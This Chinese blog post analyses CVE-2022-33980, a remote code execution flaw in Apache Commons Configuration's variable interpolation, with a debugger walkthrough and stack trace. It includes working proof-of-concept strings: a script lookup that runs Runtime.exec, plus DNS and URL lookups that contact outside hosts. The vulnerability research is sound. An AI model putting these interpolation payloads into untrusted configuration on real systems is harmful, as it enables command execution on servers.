[JAVA安全]CVE-2022-33980命令执行漏洞分析

前言

在 i春秋的漏洞靶标上看见了此漏洞,所以前来分析一下漏洞原理,比较也是去年 7月的漏洞。

漏洞描述:Apache官方发布安全公告,修复了一个存在于Apache Commons Configuration 组件的远程代码执行漏洞,漏洞编号:CVE-2022-33980,漏洞威胁等级:高危。恶意攻击者通过该漏洞,可在目标服务器上实现任意代码执行。

什么是Commons Configuration

Commons Configuration是一个java应用程序的配置管理类库。可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较的复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理。也提高了开发效率和软件的可维护性。

利用范围

2.4 <= Apache Commons Configuration <=2.7

官方通报:

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第1张图片

从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到“script” 可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。

这个CVE的漏洞点是在变量插值中造成的

前置知识

那么什么是变量插值呢?

在 commons-configuration2来说,变量插值,就类似于引用动态变量的方式,就好比,如果我们需要获取系统中的某个环境变量,我们可以在配置文件中使用${env:envname}, 如果需要获取用户根目录,同样可以通过  ${sys:user.home}

漏洞分析

环境依赖:


  org.apache.commons
  commons-configuration2
  2.7

我们可以跟进下源码 看看 ${sys:user.home},这种写法是如何解析的,

在 org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate  中对这种写法进行解析,赋予其对应的值

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第2张图片

此方法的解释是:

对于变量的插值,如果这个值他是字符串类型的,他将会检查时候包含有变量,如果有,将会替换这个变量,如果没有就按照源String返回 

所以我们同样可以通过使用该方法进行变量插值的使用:

package CVE2022$33980;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class Commons_Configuration2_Test {
    public static void main(String[] args) {

        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
            .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
            .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
            .create();
        //创建示例
        ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        // 解析字符串
        System.out.println("${env:JAVA_HOME}->" + configurationInterpolator.interpolate("${env:JAVA_HOME}"));

    }
}

同样可以使用这种变量插值

从漏洞通告中可以知道, 由 script  将会导致JVM脚本执行

我们debug 分析一下他的流程:

System.out.println("${Script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")} ->" + configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));

 我们在前面的 interpolate 方法中打断点:

传入了变量插值的值,首先判断他是否是String的实例,之后将会调用looksLikeSingleVariable进行判断格式是否正确

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第3张图片

判断是否为  “ ${ ”  开头 ,以  " } " 结尾:

 之后到达   resolveSingleVariable  的调用

 跟进这个 extractVariableName()   , 在该方法中,他将 去掉 ${}  取出变量值

 之后 回来调用 resolve,此时的 值已经变成:

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第4张图片

 确实已经被去头去尾,我们继续,在此方法中,他对我们的var 进行截断赋值

 [JAVA安全]CVE-2022-33980命令执行漏洞分析_第5张图片

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第6张图片

通过调用  fetchLookupForPrefix() 方法 传入  prefix   ,此时的 prefix = script  ,进入fetchLookupForfPrefix()方法:

取出对应的Lookup 对象:

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第7张图片

 直接从 prefixLookups 这个Map对象属性中获取对应的  StringLookupAdapter 

返回回来,之后调用  StringLookupAdapter的 lookup方法

 跟进这个lookup ()

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第8张图片

String[] keys = key.split(SPLIT_STR);

 这段代码 会做一个分割

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第9张图片

以   :  符号作为分割。

也就是说 我们的key 被分为了:

javascript    和         java.lang.Runtime.getRuntime().exec("calc")   两段

 [JAVA安全]CVE-2022-33980命令执行漏洞分析_第10张图片

 并判断了其格式长度,并且赋值给 engineName 和  script 

 把 engine也就是JavaScript传给了  getEngineByName()  得到了scriptEngineNashormScriptEngine

最后 这里调用 了eval 方法,也就是很关键的部分:

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第11张图片

 跟进  eval 看看

带入了script和context对象继续调用eval方法 

 最后成功 执行了我们的代码 弹出了计算器

调用栈:

exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 1750905143 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1241529534 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 1528923159 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1683662486 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 1783593083 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1740797075 (java.lang.invoke.LambdaForm$MH)
invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
lookup:86, ScriptStringLookup (org.apache.commons.text.lookup)
lookup:45, StringLookupAdapter (org.apache.commons.configuration2.interpol)
resolve:497, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
resolveSingleVariable:529, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
interpolate:362, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
main:15, Commons_Configuration2_Test (pers.test_01)

 [JAVA安全]CVE-2022-33980命令执行漏洞分析_第12张图片

根据漏洞通报中,同样还有这其他的prefix造成的影响

System.out.println(configurationInterpolator.interpolate("${dns:" + "test." + "k8y1dc.dnslog.cn}"));

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第13张图片 

 

同样还可以访问远程url

System.out.println(configurationInterpolator.interpolate("${url:http:http://112.74.165.16:8888/}"));

 我在想着  能不能 jndi  注入呢?

[JAVA安全]CVE-2022-33980命令执行漏洞分析_第14张图片

似乎好像是不行的,如果有懂的师傅可以告诉我一下(刚学java)

参考链接:

CVE-2022-33980 Apache Commons Configuration 远程命令执行漏洞分析-安全客 - 安全资讯平台 (anquanke.com)

GitHub - apache/commons-configuration: Apache Commons Configuration

CVE-2022-33980命令执行漏洞分析 - 先知社区 (aliyun.com)

 

你可能感兴趣的:(JAVA安全,安全,web安全)